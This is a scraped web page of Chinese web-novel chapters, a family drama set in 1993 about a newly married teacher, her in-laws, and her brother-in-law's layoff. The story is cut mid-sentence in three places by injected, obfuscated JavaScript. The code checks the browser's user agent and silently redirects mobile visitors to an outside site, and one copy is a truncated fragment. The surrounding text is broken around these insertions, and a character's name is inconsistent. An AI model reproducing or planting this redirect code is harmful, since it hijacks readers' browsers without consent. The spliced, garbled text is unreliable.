余序洲又从厕所拎了个空桶过来,叮嘱陈慧柔:“洗第一遍的水倒进去,留着冲厕所,别直接倒了。” 陈慧柔:“好。” 新闻联播播完,余稚乔屁股还没挪一下,倒是余光亮指着墙上的时钟提醒她:“该回去了,不然太晚路段不安全。” 余稚乔拉着赵敏的手撒娇:“妈,我不回去了行不行,晚上在客厅里搭个床铺,像二哥之前那样。” 赵敏直接拆穿她:“是不是又和你大嫂吵架了?” “没有,我就是舍不得你跟老爸。” 放假这些天,赵敏瞒着陈慧柔和余序洲,做主让余稚乔住在新房,是余稚乔自己觉得不合适。每次都是吃完晚饭就回去,第二天一早才来。 “什么舍得舍不得的,明天再来就是了。” “真的?”余稚乔一下笑开来,“那我以后还能跟现在这样,过来陪你们吃饭?” 赵敏拍拍余稚乔的手:“谁拦着你了吗?你这孩子。” 陈慧柔把脏水桶拎出来,碰巧就听到赵敏和余稚乔的对话,心里错愕不已,脸上却装作什么都没听见的模样进出厕所。不时看向余序洲,就等着他抬头看自己一眼。 谁知余序洲全程坐在那,就是冲茶,半句话没说,也没察觉到陈慧柔的眼神暗示。 “行,那我先回去了,明天中午再过来吃饭。”余稚乔穿好外套,连阳台都懒得望一眼,扯着嗓子喊:“二嫂,我走了。” 陈慧柔抬头只闻其声不见其人,还得擦干手追出来送余稚乔,顺便让她带些特产零食回去给大哥大嫂也尝尝。 “二嫂真细心,连大哥大嫂的份都准备了。”余稚乔拎过袋子,“走了,拜拜。” 家里又安静下来,陈慧柔晾完所有衣服,腰酸背痛,靠着墙站了一小会才缓过来。咬咬牙把阳台地面都清洗一遍才回房拿衣服去洗澡。 等再出来,客厅已经没人了,主卧的房门关着,自己屋亮了盏台灯,余序洲已经倒在床上打呼了。 陈慧柔把门关上,擦干头发走到床尾,毛巾一甩,把余序洲直接拍醒。 “怎么了?洗完了?那赶紧上来休息吧。” 惺忪间给陈慧柔腾了个位置,余序洲翻个身就想继续睡。 “你先别睡,我有话问你。” 房子隔音一般,陈慧柔压低了声音:“你妈晚上和稚乔说的话,你听见了没?” 余序洲:“嗯?什么?” 陈慧柔没好气道:“余序洲,我问你话呢!” “听见了,怎么了?” 余序洲撑着床面坐起身来,靠着床头打哈欠,不理解陈慧柔突如其来的脾气。 陈慧柔非常不舒服:“说好稚乔住在大哥大嫂家,跟他们一日三餐,现在怎么变成要来家里吃饭了?” 余序洲打着呵欠问:“这有什么吗?她就是跟爸妈亲。” “这有什么吗?”陈慧柔提着调重复余序洲说的话,恨不得把账摊开来和他算清楚:“原先我们说好,两人的工资只留四分之一应急,其余的都给爸妈,权当生活费。这次旅游,花的是我爸妈给的钱,买手信那部分还是我自己贴补进去的。” 余序洲点头,拉着陈慧柔的手拍拍:“我知道。” “你知道什么了你就知道,学校有食堂,我们拢共就一顿晚饭是在家里吃,本来用不着交那么多生活费的,我攒攒还能买台洗衣机,不用一直手洗衣服。” 现在家电也不难买,不用票也不用一大早排队去商店里抢。陈家节前也买了台洗衣机,用起来别提多方便,还能甩干衣服,比人工拧干省力得多。 “稚乔说来家里吃就来家里吃,她都不用交伙食费,全吃我们的。她精得很,就你老实。” 一想到饭桌上赵敏偏心余稚乔那样,陈慧柔就觉得自己像换了个地方受从前的委屈,气不打一处来。 “就多双筷子多张嘴,她能吃多少……” 余序洲不理解,他一直觉得陈慧柔性子好,大方善良,从前见她对兄弟姐妹也是很舍得,愿意分享,也不是那种斤斤计较的人。 怎么现在连这点小事也要在意跟生气,他是真想不通。 “稚乔女孩子,饭量都没陈敬禹大。” “你……”陈慧柔踢了余序洲一脚,气得脸涨红:“我跟你说不通!” 这晚两人背对背睡,余序洲鼾声四起,陈慧柔一夜未眠。第二天早上吃完早饭,她就骑着自行车自己回娘家了。 给长辈的手信都是一样的,陈慧柔也给父母买了高钙牛奶和保健品。 徐晓敏:“玩得开心就行,用不着买礼物,拎回来多重。” “妈,我们现在就泡牛奶吧?我想喝一杯看看。” 陈慧琪凑过来,抱着奶粉罐子跃跃欲试,王君在旁提醒她:“小姑,这上面写的中老年奶粉,不是给小孩吃的。” 陈慧琪面不改色地反驳:“小孩吃了会变笨吗?不会就能吃,都是人,中老年能补的,小孩也需要。” 陈慧柔笑开:“人小鬼大。” 徐晓敏问:“怎么就你一个人过来,序洲呢?” 陈慧柔摆弄带来的手信,随意道:“他在家洗碗呢,我吃完饭就直接来了。” 王君惊讶不已:“你让序洲洗碗?” “对啊,不行吗?”陈慧柔答得坦荡,反倒让王君一时不知道应什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071787|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么好。 徐晓敏借口让王君去看看陈慧柔给陈梓钰买的衣服合不合穿,把人支开后,沉声提醒:“你现在已经结婚了,做事要考虑周到,男人是要面子的。在外夫妻一体,要齐心才能把这个家经营好。” 陈慧柔哭笑不得:“让他洗个碗怎么就不齐心了?” “你刚嫁过去,又和公婆住一起,你让他们怎么看?” 徐晓敏一脸担心,原本以为这些道理不用跟陈慧柔讲,是因为她还没嫁出去前,在家里就已经做得很好了。 没想到嫁人了,反而让男人去洗碗。 “放心吧妈,他在他家没什么地位,我公婆不会说什么的。再说了,就只是洗碗,我真是赶时间出门,待会还要去沐卿那,午饭前就得回去。” 听完陈慧柔的安排,徐晓敏也有些怀疑是自己太敏感。 “好,那你自己心里有数就行。” 陈慧柔没待多久就走,还约了黄沐卿在镇上一家小吃店碰面,到的时候,人已经在里面了,正津津有味地吃着猪耳朵零食。 “新婚快乐啊陈老师。” “谢谢你哦黄老师。” 陈慧柔给黄沐卿买了一条丝巾,还有一盒面霜跟护手霜。 黄沐卿惊喜:“破费了,去那么多地方,把钱用来替我多吃些好吃的多好。” 陈慧柔嗤道:“说得好像你没给我包红包似的。” “哦?还礼哈哈哈。行,那我就收起来了,谢谢好姐妹。” 黄沐卿把礼物收起来,问起陈慧柔这旅行结婚感觉如何,要推荐的话,她和许医生到时候也这么办。 陈慧柔苦笑:“我还真不知道怎么说,但旅行确实可以看出一个人适不适合成为自己的伴侣,婚前一块出去一趟还是很有必要的。” “这是大彻大悟啊,怎么啦?说来听听。” 黄沐卿点了壶苹果红枣枸杞水,给陈慧柔倒了大半杯。仔细观察,今天看到陈慧柔,确实没有大人说的那种什么新婚容光焕发,反倒是有点忧心忡忡的。 陈慧柔抬起下巴指了指窗外的街景:“以前谈恋爱的时候就是在这点地方,逛街、聊天、看电影,偶尔去家里帮忙做点什么。出去旅游面对的是完全陌生的环境,就两个人相处,能看出很多细节来。” 黄沐卿看了她一眼:“怎么,序洲老师没表现好?” “我俩去珠海的时候差点吵架了。” 从深圳离开后,陈慧柔和余序洲就去了趟珠海,那是余序洲姑姑家。 进了小区后,余序洲拎着行李就直直往前走,丝毫不管落在身后的陈慧柔,小区树很多,楼幢也不少,就城市里那种高楼小区住宅,一栋栋长得都一样。余序洲走得快,一个拐弯,陈慧柔走得慢些没跟上,就见不到人了。 “哈?迷路?你俩出门都不走一起的吗?” 黄沐卿有些难以想象那个画面,两个成年人出去玩,怎么还有走丢一说。 “我也是这次出门才发现他有这个坏习惯,总是一个人在前面走得飞快。有时如果没拉着他,就一个人使劲儿往前走,跟前头开路一样,根本不会回头看我能不能跟上。” 说起这个陈慧柔就来气,不只是在珠海,在广州、深圳,余序洲都是这样。 陈慧柔现在想起来还是很气:“关键是他也不认识路,经常不看地图不问人就乱走,走错了就说绕回来就行,你说气不气人!” 说到这,陈慧柔感觉膝盖和小腿肚又是一阵酸疼,说是去旅行结婚,倒不如说是徒步结婚。 “那后来呢?你迷路了然后呢?” 黄沐卿都迫不及待想听下文了。 “当时又累又气,就索性坐在那小区的长椅上,等着他回头来找。” 陈慧柔那天就是生气了,气余序洲不解风情,气他做事一根筋。见姑姑这么重要的事情,他也不知道照顾着点,还一前一后上门。 甚至等进了家门,他人坐下了,被姑姑一提醒,才发现老婆没跟上,急冲冲跑下楼来找。 “要不是说好在姑姑家过夜,我当时就想买车票回来了。” 陈慧柔一杯水喝完,气都没完全顺下去:“以前只觉得他老实,没有花花肠子,现在看,就是一根筋。” “这事序洲老师确实做得不地道,该说!我跟浩然出门,他都是紧紧拉着我的,我是路痴你知道吧,没安全感。” 话又说回来,这世界上本就没有那种完全契合的伴侣,都是要有摩擦和争吵的。夫妻相夫妻像,都得相处久了才能成。 聊着聊着,眼看就要十一点半了,陈慧柔还要赶回去做饭。黄沐卿带了家里新晒的黄花菜给她,不忘推荐做法—— “和鲜虾、五花肉炒着吃最好吃”。 陈慧柔笑着收下:“谢谢啦。” 11. 下岗 1993年5月,粮票制度被正式取消,陈慧柔下了课就听见办公室里的老师们正在讨论,粮油敞开供应,价格放开,这意味着老百姓们都能吃上饭了。 “我现在手帕里都还包着粮票。” “攒下来以后留给组孙辈,兴许还能换钱也说不定,有纪念性意义的。” 陈慧柔收拾好晚上要批改的作业,着急忙慌跑去店里,结果到门口就已经听到街坊四邻在讨论,陈镇东也在那聊着用票时代的生活情况。 “来到他们这辈啊,不怎么用吃苦了!” “就是,饭能吃饱,肉随时都能买到。” “慧柔来啦,你也听到消息了?” 一邻居看见陈慧柔,忙给她让出地方停自行车。 陈慧柔笑着点头:“听说了,这不第一时间赶回来想和我爸妈说,没想到各位叔叔阿姨也都知道了。” “今晚啊要加餐!” “你这记性,慧柔嫁人了,要加也是在公婆家加餐。” 街坊四邻开着玩笑,陈慧柔不好意思地进屋,今儿徐晓敏没来店里,是王君在忙。 “妈怎么没过来?” “早上起床说不舒服,就让在家里休息了。” “不舒服?感冒了?” “头晕乏力,四肢不听使唤有点麻,你大哥带她去看过医生了,开了几帖中药调理一下。” 陈慧柔刚放下包,这会又重新背上:“我回去看看。” 王君:“行,对了,梓钰要是还在外面玩,你就帮我抓回家,监督她洗手先吃饭。” “好。” 陈慧柔赶回家,陈梓钰一个人在小院里玩弹珠。 “大姐。” 陈慧琪准备做饭,见陈慧柔来了,主动说起学校里的事情。陈慧柔边听边应,步伐没有一丝耽搁地往里走。 “阿柔来了?” 徐晓敏正靠在床头翻书,见陈慧柔走近,还推了推她。 “站远点别离太近,传染病气。” 陈慧柔皱着眉:“您这天天看医书,怎么还能看病了。” “你这话说的,那当老师的就是无所不知了吗?人又不是铁做的,年纪大了,免疫力差,生病那都是在所难免。” 徐晓敏再三强调自己就是小感冒,本身体质差才看上去比较严重。都是季节性老毛病,熬过这段时间就好了,犯不着这么大惊小怪。 “梓钰还没吃饭,你看能不能先做点什么让孩子先吃。” “行,我去看看。” 透过窗户见陈慧琪在屋外忙碌,陈慧柔看了眼墙上的挂钟,把人叫进屋:“你去把卷子拿过来做,一边看着梓钰,我来做饭。” 陈慧琪:“大姐晚上要在家里吃吗?” 陈慧柔脱下外套,从陈慧琪身上摘下围裙穿上:“不了,做完饭我就回去。” 食材已经处理得差不多,也没费太多时间,陈慧柔三两下将晚饭做好,王君也回来了,见是陈慧柔做饭,慌忙上前:“怎么是你在做饭?” “慧琪还有卷子没写,我让她边写边看着梓钰,对了,梓钰已经吃过了。” 陈慧柔摘下围裙,洗干净手回屋拿东西:“饭做好了,我先回去。爸呢?” “店里还有点收尾,我先回来看孩子……看妈有没有什么需要的。” 王君话虽这么说,但进屋后还是先去看了陈梓钰。陈慧柔和徐晓敏打完招呼,瞥了里屋一眼,因为赶着回家,终是什么都没说就离开。 自行车踏板都要被踩冒烟了,陈慧柔紧赶慢赶进门,就见饭桌已经搬了出来。 余稚乔正在摆碗筷,听见动静回过头来,讶异:“二嫂,你今天怎么这么晚回来啊?” 陈慧柔扶着门框小喘气,低头换鞋子:“要出考试卷子了,和其他老师商量了下题目就晚了些。” “哦哦,洗手准备吃饭吧,饭做好了。” 余稚乔没说什么。 陈慧柔放下包,进厨房洗手帮忙,余光亮正在帮赵婷盛汤,炉上还煮着酱油鱼。 “爸、妈,不好意思,下午要赶出卷子,所以回来得晚了,没顾上做饭。” 余光亮:“没事,洗手来吃饭吧。” 赵婷看了陈慧柔一眼,呛多了一句:“我还以为序洲不回,你就去娘家吃饭了。” 余序洲这学期周三周四都不回来,住高堂。 陈慧柔端着最后一碟清炒油菜花出去,假装淡定:“没,就是结束得晚。” 四人坐下吃饭,陈慧柔面前放着的是青菜,余稚乔面前放着的是鱼,赵婷偏心程度肉眼可见,就算是余序洲在的时候,这盘鱼也到不了他面前。 陈慧柔当笑话和黄沐卿说起时,黄沐卿还不相信——这年头,还有偏心女儿的? 陈慧柔苦笑,余家哪里是偏心女儿,只是对余序洲这个老二不上心罢了,换老大家的来,鱼肉就是摆在老大面前,总之就是轮不到余序洲。 晚饭吃完,陈慧柔自觉去洗碗,客厅里播着新闻联播,隐约还能听见余稚乔和赵婷的说笑声。 陈慧柔放慢了洗碗的动作,搓泡沫的时候,心思飘到了未出嫁前在徐晓敏身边的日子。 陈慧柔很羡慕余稚乔,羡慕她出生时的环境条件,羡慕她有哥哥护着,羡慕她有父母的偏爱…… 每个家里的老幺都是幸福的。 她忽然想起在书上看到的一段来自王尔德说过的话—— “受苦是一个很长的瞬间。这是一种凝滞的生活,时时事事都由一个不可变的模式控制,我们吃喝、起卧、祈祷,那些一成不变的律法,这种令人麻木的凝滞,使得每一天都暗无天日,都在重复着过去的日子,分毫不变。” 陈慧柔觉得自己婚后像进入了一个更加枯燥凝滞的升级模式,本以为会很难适应,果然,人就是很容易被驯服的高级动物。 次日,刚进办公室的黄沐卿从包里拿出两盒磁带,往陈慧柔桌上放:“我让我大哥帮忙录的,张学友和李克勤的歌。” “粤语歌?听不懂。” 陈慧柔推了推。 “不是,吻别是普通话的,你听听看,港乐真的很好听,就特别适合在下雨天,把屋子里的窗帘拉上,光线不能太亮了,周围也不能有吵闹声,最好做家务的声音也不要有。” 黄沐卿背靠着书桌,双手放在胸前,下巴微微扬起,眯着眼睛描述氛围时,整张脸都写满了幸福。 “你把录音机声音调大,然后坐在窗台前,像我这样闭着眼睛听,伴随着窗外的雨声,就算是粤语歌,你也会觉得每句歌词都能听懂,还能跟着它的旋律哼。” 陈慧柔抬眉,笑着看黄沐卿:“有时候我觉得,你才是语文老师。” 黄沐卿眼睛亮亮的:“数学并不影响我对浪漫生活和艺术氛围的追求跟享受,如果数字能够跟艺术结合,我想我会愿意从一个严谨客观有逻辑的圈子跳进另一个色彩缤纷又充满活力的地方。” 陈慧柔认同:“你一直都很浪漫也很有活力。” “陈老师,传达室有您电话。” 退休后留在学校传达室负责接收电话、报纸、信件的郑老师过来敲门,老花镜挂在脖子上,等陈慧柔走近了才小声说:“是序洲老师,声音听上去很着急。” “好的郑老师,谢谢您。” 陈慧柔快步朝传达室走去,今天周四,余序洲是不回家的,如果不是什么要紧的事也不会给她来电话。 “是我,怎么了?” 陈慧柔一拿起电话,心就跳得飞快。脑子里过了无数种可能猜想,最后停在“调职”这个点上。 余序洲和她说过,正在争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071788|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取。 “是不是你要……” “大哥被下岗了,妈听到消息晕过去,你回趟家看看。” 两人异口不同声,陈慧柔愣了一下才反应过来,眼底闪过一丝失落,调整语气问道:“被下岗?大哥那么年轻怎么会?” “具体情况我也不清楚,稚乔就给我说了两句就把电话给挂了,我赶不回,你先去看。” “好。” 挂断电话,陈慧柔都还没彻底缓过来。 90年代初期,个体私营食品企业崛起,国企受到不小冲击。去年六月份,县里以罐头厂为试点,实行租赁制改革,改制后机制转换,租赁方拓宽了经营门路,在企业内部也进行了人事、劳动、工资等改革。 调动员工生产积极性的同时也调整了企业产品结构,听说生产经营直线上升,效益不错。 今年年初,又传出厂里政策要变,但也只是针对那些职工子女,下岗这个消息她听都没听过。陈慧柔不敢耽搁,回办公室收拾好东西,和黄沐卿调了下课程安排就赶紧回家。 客厅里,余光亮坐在主位上,一脸愁容,面前的烟灰缸里堆满了烟头,余稚乔拿进厨房倒在垃圾桶里,又把屋里的窗户一推到底,通风散味。 陈慧柔跑上楼的,还在小喘气:“爸,妈呢?” 余光亮指了指里屋,房门紧关着,陈慧柔正准备敲门进去,就听见里头传来指责声—— “我当初怎么跟你说的,不要去工厂不要去工厂,你就是不听!放着教师这个铁饭碗不要,去当工人!” 是赵婷的声音,听上去气力还很足,怎么也不像是刚晕倒的人。 余序南也在里面,方才进门也没有看到嫂子黄蕾的鞋,她人应该没来。陈慧柔思虑再三没进去,转而拉着余稚乔去房间里问清情况。 “工厂说以买断工龄的形式,让大批职工离开,说是国企改革,镇上厂子也得跟上。如果需要找工作,厂里可以帮忙开介绍信。” 陈慧柔:“你们布厂呢?” 余稚乔在电气植绒布厂上班,80年代厂子还被省定位先进企业,90年产值创高峰。但到了92年后,市场急剧变化,布厂生产也在走下坡路。 余稚乔点头:“几个厂都同步开了职工大会,结束时厂里都乱成一锅粥了。但我不在名单里,布厂这次针对的还是那些工龄比较高的老员工。” “对啊,我理解的也是这样,厂里老职工多,有些都待了大半辈子了,三十四十年的一大把。大哥怎么也轮不到吧,正当年,又是技术岗。” 余稚乔拉着陈慧柔,示意她俯低身,又瞥了眼客厅,见余光亮还坐在原来的位置,这才小声解释:“咱家没有关系,有的人走动一下就灵活了。” 隔墙隐约能听见啜泣声,陈慧柔拉了把椅子坐下,一时也没了招。 余稚乔有些懊恼:“我本来以为大哥和我一样,不会被下岗,结果我一回家就听见嫂子在哭。” “所以你回来后就跟爸妈说了?” “我只偷偷跟爸说,结果被妈听到了,她当场就晕过去了,吓得我只能给两位兄长打电话。” 陈慧柔看着眼前这个小姑子,骂又骂不得,只能干巴巴道:“这事是大哥的事,要说也得大哥自己来跟爸妈说,你确实不该。还好妈没出什么事,不然急死你二哥。” 余稚乔:“我这不是太慌了吗,听到消息都愣住了,嫂子刚怀孕,大哥就没工作。” “别说了,这儿有我,你先回去,家里留嫂子一个人,也不放心。” 陈慧柔催促着余稚乔赶紧回去看着。 余稚乔:“行,那二嫂有什么事你再叫我。” 陈慧柔什么话都不想说,只想催着这小祖宗赶紧走,临了还不忘吩咐她:“在嫂子面前嘴把着点,大哥的事别瞎出主意。” 12. 提议 家里的气氛阴沉沉的,陈慧柔连剁肉沫都不敢太大声,案板底下垫了两三条抹布用来消音,一边做饭一边关注着外屋的动静。听见卧室门吱呀打开,她忙不迭放下手头上的活,仓促洗了遍手就出去。 “大哥,晚上在家吃了再走吗?” 余序南见了陈慧柔,勉强挤出一丝笑容来,难掩神色疲惫:“不了,你嫂子还在家里等我回去,我就先走了。爸,工作的事我自己会上心,我有手艺在身,饿不死。” 余光亮抖了抖手里的报纸,抬起挡住整张脸,不愿意看他,哼了一声,没回应。 余序南:“那我先走了。” 陈慧柔只得把人送到门口,想了想还是补了句:“大哥,序洲很担心你,但因为明天还有早课所以赶不回来,等他周末再过去你那儿聊聊。” 余序南换好鞋子,拍拍手,讪笑道:“没事,你忙去吧,我走了。” 大门关上,屋子里只剩陈慧柔和公婆,她把饭做好了才进屋准备叫赵婷吃饭。见她正捧着本《圣经》在那祷告,陈慧柔只得站到一旁,等听到一声“阿门”才开口。 “妈,饭做好了,出来吃吧。” 赵婷摘下老花镜,摇摇头:“不吃了,吃不下。” 陈慧柔:“我煮了粥,您多少吃一点才行,不然身体吃不消。” 余序洲不在,大哥的事情陈慧柔不主动作评价,全程就跟没听过这事儿一样,如往常般摆桌子、递碗筷。 餐桌上的气氛如落冰点,余光亮甚至都没怎么动筷,三两下呼噜噜把粥灌完,抽过纸巾擦了擦嘴就起身离开餐桌。 “我出去一趟。” 赵婷放下筷子看他,追问:“你要去哪?” 余光亮:“透透气!” 门砰的一声关上,赵婷重重叹了口气。 “你说老大现在,还能回去教书吗?” 她主动问陈慧柔。 国家政策时时都在变,当初有照顾教职工子女顶替安排工作,现在已经没有了,想当老师,就得通过正规考试应聘上岗才行。 小地方的规章制度也在收紧,慢慢跟上大形势。 陈慧柔以为赵婷是真的想找自己探讨,想从年轻人口中了解到外面的就业环境,便也认真回答。 “我听大哥的意思,还是想走技术这条路。” 谁知赵婷闻言,猛地一提腔:“他懂什么,技术能当饭吃吗?不是稳定的工作还不是说下岗就下岗,现在工厂都饱和了,他还能上哪打工。” 看婆婆这气一时半会下不去,陈慧柔也不敢逆着她来,说什么就应什么,心里巴不得余序洲今晚就回家,自己应付眼下这个局面。 “还是你们陈家的孩子懂事,听父母的话,当老师多好,稳当,又受人尊重。” 赵敏话锋一转,又夸起陈家来,只是这语气听上去,也不知道羡慕多一点还是酸味多一些。 其实他们也不全是都当老师,陈敬禹就不是,但陈慧柔不敢再在这个话题上攀扯,怕赵敏一激动又晕过去。 家里就她们俩,应付不过来了。 周五下课,余序洲第一时间回家,路上不敢多耽搁半分钟,满头大汗进门时,赵敏正从阳台收完衣服出来,准备把年轻人的衣服搁回他们屋里。 “出这么多汗,你跑马拉松回来的?” 赵敏见余序洲鞋子没脱就进屋,嚷嚷道:“我刚拖的地你别弄脏了,换了鞋再进来,真是,就没看到地上还有水印子没干吗?待会门口又得重拖一遍了。” 余序洲低头看了眼脚下,他拢共就踩进来两步,这会儿又小心翼翼地退了出去。 “妈,爸呢?” 屋里就赵敏在,余序洲放下包,倒了杯水咕噜咕噜喝完,喉头总算不是那么干涩。 赵婷把衣服放下后,当真拿了拖把出来把门口重新拖了两回,没表情应道:“在楼下操场走圈,你回来时没看到?” “没。” 估计是太着急没注意。 余序洲见赵敏情绪还行,正犹豫着要不要主动问大哥的事情,陈慧柔就回来了。赵婷杵着拖把站在门口,陈慧柔叫人后自觉换鞋,转头看见余序洲包还放在沙发上,看样子也是刚回来。 “你今天好像回来得比较早?” “下课后没学生问问题,我就直接走了。” 余序洲上前接过陈慧柔的包,里面装着周末要批改的习题卷子,沉甸甸一袋。他借机小声问:“大哥的事,怎么样了?” “进去再说。” 陈慧柔换了身衣服就去张罗做饭,余序洲卷起袖子在旁边打下手。 “大哥昨天来了,和妈单独说了会话,聊些什么我不清楚,但我和大哥说了,等你回来再去他家坐一坐,兄弟俩聊聊看以后怎么办。” 陈慧柔瞥了眼屋外,担心赵婷在客厅偷听,就凑近了低声问:“我听妈的意思,是还想让大哥回去教书,但大哥不这么想。你家当年对大哥转行这事,都是什么态度啊?” “什么态度,之前不是和你说过了吗?工资翻倍,家里人举双手赞成。” 余序洲择菜,手法糙得很,陈慧柔边聊还得边捡回来一些,到最后不耐烦地将他推离这个择菜岗,发配去洗鱼。 “既然当初没持反对意见,现在为什么要埋怨发火,人不能总事后诸葛亮吧。” 陈慧柔想起昨天家里的氛围,还以为当初余光亮夫妇是劝过不成,所以才恨铁不成钢。想想也是,这家子做事,从来都是只想占便宜不想吃亏。 “大哥有主观意识和判断,自己能做得了主。要我说,妈就得跟爸一样,多出去走走散散心,别被这事给困着。” 两天了,赵敏家门都没出,生怕街坊四邻问起余序南的事。现在下岗都成了热门话题,家家户户都在聊—— 谁谁家里人下岗了,谁谁没工作了。 赵敏就怕别人问到她身上来,支吾着难以启齿。 陈慧柔:“我今天回了趟娘家,我妈说巷子昨晚不是叹息声就是哭声,很多人在厂里工作生活了大半辈子,有的三代都是厂职工,现如今是真寒心了。” 她拧开火,把锅放上,抓了一把切好的葱姜塞进鱼肚子里放下锅煮,等差不多要熟了才添酱油进去。 “县里的厂子都在转型,有的形势见好,有的日落西山,真是一时一时的风景。” 余序洲听得眉头紧皱,洗干净手准备出去摆饭桌,顺便催促道:“你煮快点,吃完饭我去趟大哥家。” “我跟你一块去。” 余序南家在河南石西路,是落地厝而非小楼房,结婚时加盖了一层,楼上住着余序南夫妇,楼下是铺面跟主厅。余稚乔搬过来后,他们又把主厅隔出一个能放得下单人床的小房间,也就四平米左右。 白天妻子黄蕾在铺面做点小生意,卖甜品和潮汕小吃,怀孕后月份大了不方便,就把铺面租给了隔壁卖凉茶。 余序洲和陈慧柔饭后骑车过来,路上买了些水果,到了正好遇上凉茶老板准备收摊,余序洲赶紧要了瓶清热祛火的癍痧。 “你要不要?” 余序洲回头问陈慧柔,陈慧柔张望了眼摊位:“沙参玉竹还有吗?要不杏仁茶也行。” 老板拿出几个新一次性杯子给他们装:“沙参玉竹卖光了,杏仁茶还有。” 余序洲要了四杯拎进屋,正好一人一杯。 “阿南,序洲和慧柔来了。” 黄蕾看见余序洲夫妇,正打算起身就被陈慧柔拦下:“嫂子你坐,不用起来,在织小毛衣?” 黄蕾把棉线和钩针放到一旁,腾出一个位置给陈慧柔。 “闲来无事就织点袜子小手套、小背心什么的,等来年冬天宝宝就能穿上了。” 陈慧柔拿过织好的小背心看了眼,夸赞道:“好漂亮的花样,嫂子你手可真巧。” “我就是照着杂志上的图来的,也是摸索了很久,不过不难,你看一遍也会。” 说完黄蕾就想给陈慧柔示范,陈慧柔笑着拦了拦:“我没孩子,不急着学。” “序洲来了?” 余序南洗完澡出来,拿着毛巾随意擦了擦头发,赶紧拿起水壶去外间接水回来煮。 黄蕾指着小圆桌上盖着的饭菜:“你先吃饭,冷了就去热一下。我看序洲他们买了凉茶,也不急着煮水冲茶。” “还没吃饭?”余序洲吃惊地看了眼墙上时钟:“你去哪了这么晚才回?” 听妻子这么说,余序南摸了摸碗沿还有温热,拉了把椅子坐下吃饭,也懒得再去热一遍了。 “隔壁明叔家的电视播着播着没画面,我去帮着修。” “饭点让你去,你就去。”黄蕾一提这事就来气,觉得余序南就是好欺负的性子,“把饭吃完再过去修会怎样,你就是太老实。” 太老实? 这词用来形容余序洲还差不多吧,陈慧柔下意识看了眼丈夫。 余序南笑着眨巴眼睛,扒拉着碗里的饭菜:“我那会正好也不饿,再说了,吃完饭过去天都黑了,光线不好到时候零件都看不清。” 陈慧柔看了眼四周,不见余稚乔。 “稚乔呢?” “跟同学去看电影了。” 黄蕾提起这位也是没什么好脾气,家里出了这么件糟心事,她还有心情去跟同学看电影,还是她亲大哥呢,一点同情心都没有。 “大哥,接下来你有什么打算?” 余序洲话音刚落,黄蕾表情就变了,眼神一黯,手里钩织的动作也停了下来。陈慧柔担心她情绪波动,动了胎气,主动问她要不要出门走走。 黄蕾苦笑着摇摇头:“事情都发生了,就是把耳朵堵上也回不去。我没事,正好你俩来了,也听听看他的打算。” 余序南三两下吃完饭,把碗筷端到洗手池泡着,洗完手就回来,拉了把椅子坐在余序洲对面。 “我都想好了,等你嫂子把孩子生下来,坐完月子,我就去深圳打工。” “去深圳打工?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071789|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 余序洲和陈慧柔面面相觑——又一个要去深圳的。 深圳到底哪里好了?到底有多好? 陈慧柔心思细,想的都是家里层面那点事:“大哥,你去深圳打工,留嫂子孤儿寡母在这你放心得了?坐完月子才是育儿长征的开始,难的事那么多,你就全丢给嫂子一个人?” 余序南不好意思地挠了挠后脖子,心里其实已经有了盘算,正好余序洲和陈慧柔也在,他也就敞开来说。 “趁你俩还没孩子,我想让爸妈先帮忙带一阵,他俩退休了也没什么事。等我在深圳稳定下来,就把她们娘俩带过去。” 原来打的是这个主意,想让老人帮忙带。难怪刚刚黄蕾没有接自己那句“我没孩子,不急着学”,陈慧柔敛下眸,抿唇揉了揉手腕。 别说徐晓敏,就是王君都问过她打算什么时候要小孩。结婚也有段时间了,又跟长辈住在一起,肯定是会催,就看什么时候要。 可黄蕾从来没问。 陈慧柔借着揉手腕的动作,抬眼不动声色地往四周打量。如果余序南要去打工,俩老人就得贴身带孩子,那孩子住哪? 总不会也搬到余家去吧? 这里的环境,陈慧柔想不出公婆来了能住在哪,余稚乔那四平米都是硬生生挤出来的。住楼上的话,这木制楼梯又太陡太危险,两个老人肯定不敢爬。 余序洲不知道陈慧柔心里在想什么,他就是单纯觉得去深圳打工不现实。余序南不比陈敬禹,陈敬禹学历高,是稀缺的技术型人才,又有陈润雁帮着扶一两把。 余家在深圳一没亲戚二没朋友,去了就是从头开始,小镇的电工去到深圳那种高速发展的大城市,就是廉价劳动力,一点都不稀缺。 赵敏的意思是让余序南重新考教师岗,可看大哥自己,并没有这个想法。外出打工和留在家里利用手艺做点小生意,余序洲更推荐后者,毕竟能兼顾到家庭。 “自家的铺面,与其租给外人卖凉茶,不如你自己开间电器维修铺,你会修电视,那修洗衣机收音机DVD机那些是不是也差不多?” 